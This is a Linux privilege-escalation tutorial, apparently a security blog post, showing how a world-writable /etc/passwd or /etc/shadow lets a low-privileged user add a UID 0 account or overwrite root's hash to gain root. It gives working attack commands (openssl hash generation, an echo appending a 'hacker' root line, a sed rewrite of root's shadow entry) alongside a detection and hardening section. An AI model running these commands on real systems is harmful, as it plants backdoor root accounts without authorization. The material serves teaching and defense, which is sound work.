Abusing a World-Writable /etc/passwd for Root

Linux Privesc
Time it takes to read this article 6 minutes.

Introduction / Overview

A misconfigured file permission on a single, critical system file is sometimes all that stands between a low-privileged shell and full root. On Linux, /etc/passwd is one of the most rewarding targets: if your unprivileged user can write to it, you can plant a brand-new UID 0 account with a password you control and su straight into root.

In this article you will learn exactly why a writable /etc/passwd (or /etc/shadow) is fatal, how the legacy password-hash field in /etc/passwd still works, how to generate a valid hash with openssl passwd, and how to perform the escalation step by step. We close with a thorough Detection & Defense section, because the fix here is trivially cheap once you know what to look for.

Legal & Ethical Disclaimer
This content is provided strictly for education and for authorized penetration testing on systems you own or have explicit, written permission to test. Modifying authentication files on a system you do not control is illegal in virtually every jurisdiction. Do not run any of these commands against production or third-party systems without authorization.

How it works / Background

/etc/passwd is world-readable and stores one account per line, with seven colon-separated fields:

username:password:UID:GID:GECOS:home:shell
Plaintext

The second field is the password placeholder. On modern systems it is almost always x, which tells the system "the real hash lives in /etc/shadow" (a file readable only by root). This is the classic shadow split introduced to keep hashes out of a world-readable file.

The crucial historical detail: the authentication stack still honors a password hash placed directly in the second field of /etc/passwd. If that field contains a valid crypt(3) hash instead of x, login routines (login, su, PAM's pam_unix) will validate against it. So an attacker who can write /etc/passwd does not even need /etc/shadow; they can inline the hash.

Two privilege-escalation primitives follow:

  1. Writable /etc/passwd — add a new UID 0 entry with an inline hash, or replace x for an existing account.
  2. Writable /etc/shadow — overwrite the hash field for root with one you control, then su root.

UID 0 is what actually confers root authority — the username ("root", "rootz", "backdoor") is irrelevant. The kernel checks the numeric UID, so any account with UID 0 is root.

Prerequisites / Lab setup

You need a low-privileged shell and a misconfigured permission. To build a safe lab, deliberately weaken the file on a throwaway VM:

# As root, in a disposable VM only — create the vulnerable condition
chmod o+w /etc/passwd
ls -l /etc/passwd
# -rw-r--rw- 1 root root 2310 Jun 11 10:00 /etc/passwd
Bash

As the unprivileged attacker, confirm you can write:

id
# uid=1000(lowpriv) gid=1000(lowpriv) groups=1000(lowpriv)

ls -l /etc/passwd
# -rw-r--rw- 1 root root 2310 Jun 11 10:00 /etc/passwd

# A quick non-destructive write test
[ -w /etc/passwd ] && echo "WRITABLE"
Bash

During real enumeration, tools like linpeas.sh and a manual find flag this immediately:

find /etc/passwd /etc/shadow -writable 2>/dev/null
Bash

Attack walkthrough / PoC

Step 1 — Generate a password hash

openssl passwd produces a crypt-compatible hash. The classic, near-universally accepted format is the legacy DES/MD5 form. Use -1 for an MD5-crypt ($1$) hash, or -6 for a modern SHA-512 ($6$) hash on newer OpenSSL builds:

# MD5-crypt — works on virtually every Linux login stack
openssl passwd -1 -salt abc 'Passw0rd!'
# $1$abc$pErQX.7 I... (truncated)

# SHA-512-crypt (OpenSSL 1.1.0+) — stronger, preferred where supported
openssl passwd -6 -salt mysalt 'Passw0rd!'
# $6$mysalt$...
Bash

If openssl is missing, mkpasswd from the whois package or a one-line Python call works just as well:

python3 -c 'import crypt; print(crypt.crypt("Passw0rd!", crypt.mksalt(crypt.METHOD_SHA512)))'
Bash

Step 2 — Append a UID 0 account to /etc/passwd

Put the hash in the second field and set both UID and GID to 0:

echo 'hacker:$1$abc$pErQX...:0:0:pwned:/root:/bin/bash' >> /etc/passwd
Bash

Field breakdown:

  • hacker — the new account name (arbitrary).
  • $1$abc$... — the inline crypt hash (no shadow needed).
  • 0:0UID 0, GID 0: this is what makes it root.
  • /root and /bin/bash — home directory and login shell.

Step 3 — Switch to the new root account

su hacker
# Password: Passw0rd!
id
# uid=0(hacker) gid=0(root) groups=0(root)
Bash

You now have an interactive UID 0 shell.

Variant — Writable /etc/shadow instead

If only /etc/shadow is writable, generate a hash and overwrite root's hash field (field 2 of root's line):

# Read current shadow line (you can write but may also be able to read)
grep '^root:' /etc/shadow

# Generate a SHA-512 hash
NEWHASH=$(openssl passwd -6 -salt s4lt 'Passw0rd!')

# Replace root's hash field; back up first in real engagements
sed -i "s|^root:[^:]*:|root:${NEWHASH}:|" /etc/shadow

su root
# Password: Passw0rd!
Bash

Operational note

Always preserve a copy of the original file before tampering and restore it during cleanup — modifying /etc/passwd or /etc/shadow is high-impact and easy to break. Related primitives such as abusing SUID binaries and exploiting sudo misconfigurations follow the same "find a writable or over-permissive root resource" philosophy.

Attack flow diagram

Abusing a World-Writable /etc/passwd for Root diagram 1

Text summary: from a low-privileged shell, find that /etc/passwd or /etc/shadow is writable, craft a hash with openssl passwd, inject a UID 0 entry or overwrite root's hash, then su to obtain a root shell.

Detection & Defense (Blue Team)

The defensive story is short because the root cause is a single permission bit. Prioritize these controls.

1. Restore correct permissions and ownership. The only correct mode is 644 (-rw-r--r--) for /etc/passwd and 000/640 for /etc/shadow, both owned by root:root:

chown root:root /etc/passwd /etc/shadow
chmod 644 /etc/passwd
chmod 640 /etc/shadow      # or 000 on stricter distros; root still reads it
Bash

2. Continuously audit for anomalous UID 0 accounts. Any account other than root with UID 0 is suspicious:

awk -F: '($3 == 0) {print $1}' /etc/passwd
# Should print ONLY: root
Bash

3. File Integrity Monitoring (FIM). Deploy AIDE, Tripwire, or Samhain and alert on any change to /etc/passwd and /etc/shadow. Pair with the kernel auditd subsystem to capture who wrote the file:

auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
ausearch -k passwd_changes
Bash

These watch rules map to MITRE ATT&CK T1098 (Account Manipulation) and T1222.002 (File and Directory Permissions Modification: Linux).

4. Detect inline hashes. A legitimate modern /etc/passwd has x (or */!) in the second field. Flag any line where field 2 looks like a crypt hash:

awk -F: '$2 ~ /^\$[0-9a-z]+\$/ {print "INLINE HASH: " $0}' /etc/passwd
Bash

5. Mandatory Access Control. SELinux (shadow_t / passwd_file_t labels) and AppArmor confine which processes may write these files, blocking the abuse even if DAC permissions are wrong.

6. Lock down the toolchain (defense in depth). Removing or restricting openssl, mkpasswd, and a writable Python is not a real fix — the attacker can compute a hash off-host — but FIM and correct permissions are. Treat the permission as the control of record.

For broader hardening guidance, see our Linux post-exploitation enumeration checklist.

Conclusion

A writable /etc/passwd or /etc/shadow is a near-instant path to root because the Linux authentication stack trusts an inline crypt hash and grants root to any UID 0 account, regardless of name. The offense is a three-command exercise: hash with openssl passwd, append a UID 0 line, and su. The defense is equally simple — enforce 644/640 ownership, alert on any non-root UID 0 account, and wire auditd/FIM to these files. As always, the cheapest win is preventing the misconfiguration from ever shipping.

References

Comments

Copied title and URL